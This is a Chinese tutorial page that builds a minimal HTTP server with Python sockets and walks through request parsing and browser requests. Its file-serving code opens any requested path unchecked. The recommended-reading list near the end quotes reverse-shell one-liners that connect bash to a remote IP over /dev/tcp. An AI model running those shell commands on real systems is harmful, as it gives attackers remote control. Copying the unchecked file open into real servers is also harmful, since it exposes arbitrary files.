Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >剖析Web技术栈(二)

剖析Web技术栈(二)

作者头像
老齐
发布于 2020-05-14 14:25:42
发布于 2020-05-14 14:25:42
54400
代码可运行
举报
文章被收录于专栏:老齐教室老齐教室
运行总次数:0
代码可运行

1 套接字

1.1 基本原理

TCP/IP是一种使用套接字(socket)的网络协议。Socket是包括IP地址(在网络中是唯一的)和端口(对于特定的IP地址是唯一的)的元组,计算机使用IP地址和端口与其他计算机通信。Socket类似文件,可以打开和关闭,也可以读写。Socket编程是一种低级的网络编程,但你需要知道,计算机中提供网络访问的每个软件最终都必须处理Socket(不过,很可能是通过某些库来处理)。

因为我们是从头开始构建,所以要先实现一个小的Python程序,它打开一个socket连接,接收HTTP请求,并返回对这个HTTP请求的响应。由于端口80是一个“低级端口”(一个小于1024的数字),通常没有权限打开那里的socket,所以我将使用端口8080。这暂时不是问题,因为任何端口上都可以提供HTTP服务。

1.2 实现

创建文件server.py并键入下面的代码。是的,输入它,不要只是复制和粘贴,否则你不会学到任何东西。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import socket

# Create a socket instance
# AF_INET: use IP protocol version 4
# SOCK_STREAM: full-duplex byte stream
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Allow reuse of addresses
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# Bind the socket to any address, port 8080, and listen
s.bind(('', 8080))
s.listen()

# Serve forever
while True:
    # Accept the connection
    conn, addr = s.accept()

    # Receive data from this socket using a buffer of 1024 bytes
    data = conn.recv(1024)

    # Print out the data
    print(data.decode('utf-8'))

    # Close the connection
    conn.close()

这个小程序接受8080端口上的连接,并在终端上打印接收到的数据。你可以执行这个程序,然后在另一个终端中运行curl localhost:8080,应该看到类似下面的内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ python3 server.py
GET / HTTP/1.1
Host: localhost:8080
User-Agent: curl/7.65.3
Accept: */*

服务器一直在while循环中运行代码,如果要终止运行,必须使用Ctrl+C来完成。到目前为止还不错,但这还不是一个HTTP服务器,因为它没有发送任何响应;实际上,你应该会从curl接收到一条错误消息,上面写着“curl: (52) Empty reply from server”。

返回标准响应非常简单,我们只需要调用conn.sendall,传递原始字节。最小的HTTP响应包含协议和状态、空行和实际内容,例如:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
HTTP/1.1 200 OK

Hi there!

我们的服务器变成

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import socket

# Create a socket instance
# AF_INET: use IP protocol version 4
# SOCK_STREAM: full-duplex byte stream
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Allow reuse of addresses
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# Bind the socket to any address, port 8080, and listen
s.bind(('', 8080))
s.listen()

# Serve forever
while True:
    # Accept the connection
    conn, addr = s.accept()

    # Receive data from this socket using a buffer of 1024 bytes
    data = conn.recv(1024)

    # Print out the data
    print(data.decode('utf-8'))

    conn.sendall(bytes("HTTP/1.1 200 OK\n\nHi there!\n", 'utf-8'))

    # Close the connection
    conn.close()

但此时,我们并没有真正响应用户的请求。如果尝试使用不同的curl命令行,如curl localhost:8080/index.htmlcurl localhost:8080/main.css,你总是收到相同的响应。我们应该尝试找到用户请求的资源并将其随同响应的内容返回。

此版本的HTTP服务器正确地提取资源并尝试从当前目录加载它,返回结果或成功或失败

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import socket
import re

# Create a socket instance
# AF_INET: use IP protocol version 4
# SOCK_STREAM: full-duplex byte stream
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Allow reuse of addresses
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# Bind the socket to any address, port 8080, and listen
s.bind(('', 8080))
s.listen()

HEAD_200 = "HTTP/1.1 200 OK\n\n"
HEAD_404 = "HTTP/1.1 404 Not Found\n\n"

# Serve forever
while True:
    # Accept the connection
    conn, addr = s.accept()

    # Receive data from this socket using a buffer of 1024 bytes
    data = conn.recv(1024)

    request = data.decode('utf-8')

    # Print out the data
    print(request)

    resource = re.match(r'GET /(.*) HTTP', request).group(1)
    try:
        with open(resource, 'r') as f:
            content = HEAD_200 + f.read()
        print('Resource {} correctly served'.format(resource))
    except FileNotFoundError:
        content = HEAD_404 + "Resource /{} cannot be found\n".format(resource)
        print('Resource {} cannot be loaded'.format(resource))

    print('--------------------')

    conn.sendall(bytes(content, 'utf-8'))

    # Close the connection
    conn.close()

正如你所看到的,这个实现非常简单。如果你使用下面的内容创建一个简单的本地文件,文件名为index.html

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<head>
    <title>This is my page</title>
    <link rel="stylesheet" href="main.css">
</head>
<html>
    <p>Some random content</p>
</html>

运行curl localhost:8080/index.html,你将看到文件的内容。此时,你甚至可以使用浏览器打开http://localhost:8080/index.html,你还可以看到页面的标题和内容。Web浏览器是一种能够发送HTTP请求并解释响应内容的软件,只要这些内容是HTML文件(以及许多其他文件类型,如图像或视频)。因此,浏览器可以呈现返回信息的内容。浏览器还负责对渲染所需的缺失资源进行检索。因此,当你在页面的HTML代码中提供指向带有<link><script>标记的样式表或JS脚本的链接时,你也是在指示浏览器为这些文件发送HTTP GET请求。

访问http://localhost:8080/index.html时,server.py的输出是

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
GET /index.html HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache


Resource index.html correctly served
--------------------
GET /main.css HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost:8080/index.html
Pragma: no-cache
Cache-Control: no-cache


Resource main.css cannot be loaded
--------------------
GET /favicon.ico HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: image/webp,*/*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


Resource favicon.ico cannot be loaded
--------------------

如你所见,浏览器发送大量的HTTP请求,其中包含大量的header信息,自动请求HTML代码中提到的CSS文件,并自动尝试检索网站图标。

1.3 参考资源

这些资源对本节所讨论的主题提供了更详细的信息

  • Python 3 Socket Programming HOWTO[1]
  • HTTP/1.1 Request format[2]
  • HTTP/1.1 Response format[3]

本文例子的源代码可以在这里找到:https://github.com/lgiordani/dissecting-a-web-stack-code/tree/master/1_sockets_and_parsers)

1.4 问题

上面的程序让你有点了点成就感,你从头开始构建了一个项目,然后发现它可以与你每天使用的浏览器等成熟的软件顺利地协同工作。我还认为,有趣的是,像HTTP这样的技术,现在基本上遍布全世界了,但它们的核心非常简单。

在上面的操作中,HTTP的许多特性都没有在简单socket 编程中涉及到。首先,HTTP/1.0在GET之后引入了其他方法,比如POST,它对于今天的网站来说是至关重要的。这些网站的用户通过表单不断地向服务器发送信息。要实现所有这9个HTTP方法,我们需要正确地解析传入的请求并向代码中添加相关函数。

不过,在这一点上,你可能会注意到,我们正在处理协议的许多低级细节,而这些通常不是我们业务的核心。通过HTTP构建一个服务时,我们有足够的知识来正确实现一些代码。这些代码可以简化特定的过程,比如搜索其他网站、购买书籍或与朋友共享图片。我们不想花时间去理解TCP/IP套接字(socket)的微妙之处,也不想为请求——响应协议编写解析器。很高兴看到这些技术的工作原理,但是在日常工作中,我们需要关注更高层次的东西。

由于HTTP是无状态协议,小型HTTP服务器的情况可能会恶化。该协议不提供任何连接两个连续请求的方法,因此可以跟踪通信状态,这是现代互联网的基石。每当我们在一个网站上进行身份验证,并且我们想访问其他页面时,需要服务器记住我们是谁,这意味着要跟踪连接的状态。

长话短说:要成为一个正常运行的HTTP服务器,我们的代码此时应该实现所有HTTP方法和cookies管理,还需要支持其他协议,如Websockets。这些都是些微不足道的任务,所以我们肯定需要在整个系统中添加一些组件,让我们专注于业务逻辑,而不是应用程序协议的低级细节。

阅读链接

参考资料

[1] Python 3 Socket Programming HOWTO: https://docs.python.org/3/howto/sockets.html

[2] HTTP/1.1 Request format: https://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html#sec5

[3] HTTP/1.1 Response format: https://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html#sec6

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-04-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 老齐教室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
python web开发 网络编程 TCP/IP UDP协议
常用函数:https://www.runoob.com/python/python-socket.html
Michael阿明
2022/01/07
7880
python web开发 网络编程 TCP/IP UDP协议
Python-Socket
socket通常也称作套接字,用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过“套接字”向网络发出请求或者应答网络请求 socket既是一种特殊文件,一些socket函数就是对其进行的操作(读/写IO、打开、关闭) socket和file的区别 file模块是针对某个指定文件进行【打开】【读写】【关闭】 socket模块是针对服务器端和客户端socket进行【打开】【读写】【关闭】 实例: 在wen页面中访问 返回http 1.1 200 OK和HelloWorld 1 2 3
洗尽了浮华
2018/01/22
8050
Python-socket总结
什么是socket所谓socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄。
py3study
2020/01/06
7810
Some Ways To Create An Interactive Shell On Linux
Bash $ bash -i >& /dev/tcp/192.168.68.206/2333 0>&1 $ exec 196<>/dev/tcp/192.168.68.206/2333; sh <&196 >&196 2>&196 $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | while read line; do $line 2>&5 >&5;done $ exec 5<>/dev/tcp/192.168.68.206/2333 cat <&5 | wh
风流
2018/06/07
9180
使用 Python Socket 包搭建简易服务器
本文记录使用Python Socket包搭建简易服务器的代码。 概述 平时访问网站底层大多是socket封装的http请求,都是基于tcp-ip协议进行通信的;角色分为服务器端和客户端。 代码 import socket def main(): # ipv4 # tcp-ip sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socke
为为为什么
2022/08/05
1.2K0
使用 Python Socket 包搭建简易服务器
网络编程socket
socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求。
Wyc
2018/09/11
9220
网络编程socket
Python黑帽编程2.8 套接字编程
套接字编程在本系列教程中地位并不是很突出,但是我们观察网络应用,绝大多数都是基于Socket来做的,哪怕是绝大多数的木马程序也是如此。官方关于socket编程的文档地址为https://docs.python.org/2/library/socket.html,我承认我看起来都很费劲。 套接字为BSD UNIX系统核心的一部分,而且他们也被许多其他类似UNIX的操作系统包括Linux所采纳。许多非BSD UNIX系统(如ms-dos,windows,os/2,mac os及大部分主机环境)都以库形式提供对套
用户1631416
2018/04/12
1.1K0
Python黑帽编程2.8 套接字编程
Python的socket代理脚本
这里和上面没太大区别,就是将返回的内容修改为我们input的数据,交互性强了一点,仅此而已
h0cksr
2023/05/17
4610
Python Web学习笔记之socket编程
Python 提供了两个基本的 socket 模块。    第一个是 Socket,它提供了标准的 BSD Sockets API。    第二个是 SocketServer, 它提供了服务器中心类,
Jetpropelledsnake21
2018/05/03
7680
Python Web学习笔记之socket编程
socketの应用 : Proxy&http-send
下面是几个socket的常用方式, 模板都是网上扒拉其他师傅的, 一直都是直接import使用的, 因为是太久之前的事了, 就不找师傅们的原文了, 见谅。
h0cksr
2023/05/17
2060
python之socket编程
socket起源于Unix,而Unix/Linux基本哲学之一就是“一切皆文件”,对于文件用【打开】【读写】【关闭】模式来操作。socket就是该模式的一个实现,socket即是一种特殊的文件,一些socket函数就是对其进行的操作(读/写IO、打开、关闭)
全栈程序员站长
2022/09/14
6060
python之socket编程
粘包现象
让我们基于tcp先制作一个远程执行命令的程序(1:执行错误命令 2:执行ls 3:执行ifconfig)
超蛋lhy
2018/08/31
7210
粘包现象
Python之黏包的解决
黏包的解决方案 发生黏包主要是因为接收者不知道发送者发送内容的长度,因为tcp协议是根据数据流的,计算机操作系统有缓存机制, 所以当出现连续发送或连续接收的时候,发送的长度和接收的长度不匹配的情况下就
新人小试
2018/04/12
8480
Python之黏包的解决
python基础之socket编程
python基础之socket编程 一 TCP/IP五层模型 在每一层都工作着不同的设备,比如我们常用的交换机就工作在数据链路层的,一般的路由器是工作在网络层的。 在每一层实现的协议也各不同,即每一
用户1214487
2018/01/23
3K0
python基础之socket编程
Python 开发web服务器,返回HTML页面
从上一个篇章的内容中已经完成了使用TCP协议返回HTTP的请求,达到一个返回数据到访问浏览器的效果。
Devops海洋的渔夫
2019/05/31
4K0
python的socket编程
转自http://www.oschina.net/question/12_76126
py3study
2020/01/10
8490
Python Socket通信黏包问题分
参考:http://www.cnblogs.com/Eva-J/articles/8244551.html#_label5
py3study
2020/01/20
5840
python socket编程详细介绍
   第二个是 SocketServer, 它提供了服务器中心类,可以简化网络服务器的开发。
py3study
2020/01/08
9050
python_socket
http://blog.csdn.net/rebelqsp/article/details/22109925
py3study
2020/01/10
3620
☀️苏州程序大白用万字解析Python网络编程与Web编程☀️《❤️记得收藏❤️》
在现实生产环境中,一个服务端不可能只就服务于一个客户端;通常一个服务端是要能服务多个客户端,以下是多任务的实现思路:
苏州程序大白
2021/10/25
9020
☀️苏州程序大白用万字解析Python网络编程与Web编程☀️《❤️记得收藏❤️》
相关推荐
python web开发 网络编程 TCP/IP UDP协议
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验